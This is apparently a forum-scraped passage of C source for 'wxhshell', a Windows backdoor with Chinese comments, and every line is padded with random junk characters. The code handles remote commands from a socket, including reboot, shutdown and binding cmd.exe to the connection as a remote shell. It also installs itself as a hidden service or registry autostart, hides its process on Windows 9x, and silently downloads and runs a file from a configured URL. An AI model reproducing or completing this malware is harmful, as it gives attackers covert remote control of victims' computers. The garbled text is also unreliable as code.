    switch(cmd[0]) { AE`UnlUSF  
  e%4vvPp  
  // 帮助 {f*{dSm9b  
  case '?': { %[ *+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (~! @Uz5  
    break; * CAz_s<  
  } .y_~mr&d  
  // 安装 _3O*"S=1  
  case 'i': { nD>X?yz2  
    if(Install()) k.Gt }\6zP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oL }d=x/  
    else 'MB+cz+v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N~or.i&a  
    break; ;~WoJlEK3  
    } 7}~nQl2  
  // 卸载 H4{7,n  
  case 'r': { K`ygW|?gt  
    if(Uninstall()) LWSy"Cs*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3m2y<l<  
    else z|Xt'?9&n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z0D&ayzkh^  
    break; )te_ <W  
    } 0}'/pN>  
  // 显示 wxhshell 所在路径 u`oJ3mS;  
  case 'p': { <Hz11 }<(  
    char svExeFile[MAX_PATH]; =,i?8Fuz  
    strcpy(svExeFile,"\n\r"); uH7rt  
      strcat(svExeFile,ExeFile); iEy2z+/"^  
        send(wsh,svExeFile,strlen(svExeFile),0); J p%J02  
    break; UYQ@ub  
    } /k^j'MMQs6  
  // 重启 I\rjw$V#  
  case 'b': { 9ao?\]&t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6& hiW]Adm  
    if(Boot(REBOOT)) 5GPAt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vhb~kI!x  
    else { Do^yer~  
    closesocket(wsh); -x J\/"A  
    ExitThread(0); g u' +kw  
    } 7)Tix7:9S;  
    break; #^ .G^d(=  
    } i12G\Ye  
  // 关机 j.+,c#hFo  
  case 'd': { IBNb!mPu%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CUjRz5L  
    if(Boot(SHUTDOWN)) 4"{g{8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); //Xz  
    else { v]KPA.W  
    closesocket(wsh); YY'[PXP$Y  
    ExitThread(0); 73tjDO7d  
    } d)XT> &  
    break; r8FAV9A  
    } ^<v.=7cL0  
  // 获取shell  60f%J1u  
  case 's': { FgPmQ  
    CmdShell(wsh); p!?7;  
    closesocket(wsh); oW(8bd)  
    ExitThread(0); [`KQ \4u  
    break;  wJvk  
  } G`;mSq6i  
  // 退出 F%{z E ANm  
  case 'x': { U^-J_ yq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5VfpeA `  
    CloseIt(wsh); y4!fu<[i  
    break; o5Knot)Oy  
    } [r'hX#  
  // 离开 x0TE+rf5   
  case 'q': { soKR*gJ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a{?>F&vnU  
    closesocket(wsh); o+R(ux"  
    WSACleanup(); I4c %>R  
    exit(1); W>P:EI1  
    break; 8@T0]vH&  
        } G~Y#l@8M+  
  } Xa&:Hg<  
  } AJzm/,H  
}ASBP:c"t  
  // 提示信息 kll ,^A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /T 6Te<68^  
} 'XSHl?+q  
  } )oS~ish  
d{C8}U  
  return; U2JxzHXZ  
} y>RqA *J  
X<1ymb3  
// shell模块句柄 0nlh0u8#  
int CmdShell(SOCKET sock) z:{R4#(Q  
{ tfe'].uT  
STARTUPINFO si; A+3=OBpkW0  
ZeroMemory(&si,sizeof(si)); O9{A)b!HB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8R;E+B{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BMhuM~?(  
PROCESS_INFORMATION ProcessInfo; #`"B YFV[E  
char cmdline[]="cmd"; ;:Kc{B.s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q93V'[)F  
  return 0; i{J[;rV9  
} $,T3vX]<  
.3 ^*_  
// 自身启动模式 q#Ik3 5  
int StartFromService(void) Yc(lY N  
{ QkO4Td<  
typedef struct #P1 ;*m  
{ YeF'r.Y  
  DWORD ExitStatus; .+^o{b  
  DWORD PebBaseAddress; <R#:K7> O  
  DWORD AffinityMask; wKz*)C  
  DWORD BasePriority; 8[8U49V9(  
  ULONG UniqueProcessId; jqoU;u`  
  ULONG InheritedFromUniqueProcessId; +6Vu]96=KC  
}   PROCESS_BASIC_INFORMATION; F0Z cV>j}  
mOYXd,xd  
PROCNTQSIP NtQueryInformationProcess; 9x9E+DG#(  
Z,b^f Vw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [{_K[5i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8ZO~=e  
Gv\fF;,R  
  HANDLE             hProcess; nON "+c*  
  PROCESS_BASIC_INFORMATION pbi; v/wR) 9  
061f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I,lzyxRP  
  if(NULL == hInst ) return 0; An !i  
NW Pd~l+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .GPuKP|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h3A|nd>\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j;*= ^s  
`P9%[8`C 9  
  if (!NtQueryInformationProcess) return 0; sY'dN_F  
;WL0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5d82Ms  
  if(!hProcess) return 0; f<3r;F7  
2{#=Ygb0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8L(KdDY  
S'v UxOAo  
  CloseHandle(hProcess); H Sk}09GV  
.ZH5^Sv$vp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :.\h.H;  
if(hProcess==NULL) return 0; c1_?Z  
{*4Z9.2c*  
HMODULE hMod; \V.U8asfI  
char procName[255]; _]=, U.a=/  
unsigned long cbNeeded; VnMiZAHR  
8m) E~6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OB ~74}3;  
Ga^k1TQq  
  CloseHandle(hProcess); <4Cy U j  
{pB9T3ry]  
if(strstr(procName,"services")) return 1; // 以服务启动 v#+tu,)V;  
2VS#=i(B^  
  return 0; // 注册表启动 *|:]("i  
} v_@&#!u`  
k\M">K0E  
// 主模块 BH=C  oD.  
int StartWxhshell(LPSTR lpCmdLine) h'G8@j;  
{  '+C%]p  
  SOCKET wsl; Jz\'%O'  
BOOL val=TRUE; NW;wy;;  
  int port=0; fBt7#Tc=U  
  struct sockaddr_in door; j-etEWOTr  
GEi^3UD  
  if(wscfg.ws_autoins) Install(); &rxR"^x\  
aMjCqu05  
port=atoi(lpCmdLine); jl4rEzVu  
bjq2XP?LL  
if(port<=0) port=wscfg.ws_port; \(ZOt.3!J  
t\C[mw  
  WSADATA data; YY<e]CriU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q /\Hc  
K?+ Rq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `{I-E5 x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \7,'o] >M-  
  door.sin_family = AF_INET; v|mZcAz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c}FZb$q#  
  door.sin_port = htons(port); Yt;.Z$i ,  
|4a#O8d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lL:J:  
closesocket(wsl); c^8y/wfok  
return 1; n-_-;TYH  
} Zx]"2U#  
OC[(Eq  
  if(listen(wsl,2) == INVALID_SOCKET) { 2]*2b{gF,  
closesocket(wsl); ffYiu4$m  
return 1; Au/n|15->C  
} /1lUFL2D  
  Wxhshell(wsl); CR$5'#11)  
  WSACleanup(); mWM!6"  
ZK]C!8\2|  
return 0; Y,@{1X`0@3  
+P<LoI  
} +<H)DPG<  
-.E<~(fad  
// 以NT服务方式启动 hw&R .F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]Z\.Vx  
{ R#Bdfmld q  
DWORD   status = 0; ;=6~,k)  
  DWORD   specificError = 0xfffffff; u-. _;  
#`4ma:Pj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jM3{A;U2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <&rvv4*H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YvK8;<k@-?  
  serviceStatus.dwWin32ExitCode     = 0; ?79ABm a  
  serviceStatus.dwServiceSpecificExitCode = 0; Tce2]"^;  
  serviceStatus.dwCheckPoint       = 0; 6]^}GyM!  
  serviceStatus.dwWaitHint       = 0; gI^*O@Q4{b  
9YpD\H`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PGHl:4`Es!  
  if (hServiceStatusHandle==0) return; !}^ {W)h[  
?J~(qaa;  
status = GetLastError(); 7m=tu?@  
  if (status!=NO_ERROR) puz~Rfn#*  
{ X@)5F 9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X}xy v  
    serviceStatus.dwCheckPoint       = 0; d1#;>MiU  
    serviceStatus.dwWaitHint       = 0; ~8Z0{^  
    serviceStatus.dwWin32ExitCode     = status; :_Y@,CpIEg  
    serviceStatus.dwServiceSpecificExitCode = specificError; GV([gs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); igsJa1F  
    return; X &6p_Lo  
  } i1 ?H*:]  
/E@|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $R7n1  
  serviceStatus.dwCheckPoint       = 0; ?8n`4yO0  
  serviceStatus.dwWaitHint       = 0; Pz1pEyuL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;%AK< RT  
} xS`>[8?3<T  
,r{\aW@  
// 处理NT服务事件,比如:启动、停止 /AP@Bhm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F"3PP ~  
{ oToUpkAI  
switch(fdwControl) @%K@oDL  
{  `' 5(4j  
case SERVICE_CONTROL_STOP: (AdQ6eGMb  
  serviceStatus.dwWin32ExitCode = 0; Q%(LMq4UG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W^q;=D6uh  
  serviceStatus.dwCheckPoint   = 0; n8[ sl]L  
  serviceStatus.dwWaitHint     = 0; +I7n6s\  
  { &/4W1=>(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'k#^Z  
  } ucyz>TL0  
  return; FMuM:%&J]  
case SERVICE_CONTROL_PAUSE: YZdp/X6x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZO+c-!%[(  
  break; &gZ5dTj>  
case SERVICE_CONTROL_CONTINUE: jYRwtP\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #!KbqRt  
  break; Bls\)$  
case SERVICE_CONTROL_INTERROGATE: %9xz[Ng  
  break; 41WnKz9c  
}; B`} ?rp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .S17O}  
} n97A'"'wz  
wz5xJ:Tj  
// 标准应用程序主函数 keEyE;O}u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 70l"[Y  
{ eW]K~SPd7  
h \b]>q@  
// 获取操作系统版本 B]q &?~  
OsIsNt=GetOsVer(); Ym5q#f)|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); { D1.  
T2 0dZ8{y  
  // 从命令行安装 _YY:}'+  
  if(strpbrk(lpCmdLine,"iI")) Install(); *?K3jy{  
hp!UW  
  // 下载执行文件 `ej  
if(wscfg.ws_downexe) { 2;NIUMAMM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q uy5H  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kgi%Nd  
} RiF~-;v&  
6e$(-ai  
if(!OsIsNt) { wGE:U`  
// 如果时win9x,隐藏进程并且设置为注册表启动 Aq}]{gfQ1  
HideProc(); C XZm/^  
StartWxhshell(lpCmdLine); n0kBLn  
} -82Rz   
else zo&'2I  
  if(StartFromService()) _H|x6X1-  
  // 以服务方式启动 |<P]yn  
  StartServiceCtrlDispatcher(DispatchTable); `AeId/A4n  
else 0x'>}5`5  
  // 普通方式启动 ?ZDXT2b~~  
  StartWxhshell(lpCmdLine); pm,&kE  
,L^eD>|j5  
return 0; xj iMM>|n  
}
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只看该作者 1 发表于: 2006-10-10
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